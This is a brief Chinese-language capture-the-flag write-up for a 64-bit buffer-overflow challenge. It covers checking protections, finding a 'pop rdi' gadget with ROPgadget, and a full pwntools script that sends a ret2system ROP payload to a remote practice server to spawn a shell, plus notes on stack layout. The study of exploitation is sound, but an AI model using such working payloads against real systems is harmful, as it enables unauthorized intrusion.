没有开启栈保护,只有nx保护
运行一下,流程不能忘
输入?注意下输入函数
IDA打开
buf只要128,却读取了0x200
这包给他构建函数的
这是64位,我们首先要通过寄存器传参
ROPgadget --binary jar --only 'pop|ret'
这里我师傅说一般用pop rdi
所以记录地址
这道题system和bin/sh都是直接拿到的
from pwn import *
context(log_level = 'debug')
elf = ELF('./jar')
p = remote('node5.buuoj.cn',25222)
systemaddr=0x40063E
shelladdr=0x600a90
pop_rdiaddr=0x4006b3
payload= b'a'*(0x80+8)+p64(pop_rdiaddr)+p64(shelladdr)+p64(systemaddr)
p.sendline(payload)
p.interactive()
我们的esp是在低地址的,虽然栈是上面溢出,但是地址是从下面开始运行的
所以我们填充完后,程序先执行到pop ,这个Pop 有两个左右 pop 下面一个参数,system 然后 跟着return,又回到下面了,下面紧跟着就是参数 shell
如果是32位 我们payload安排就是 system +shell这样构建就ok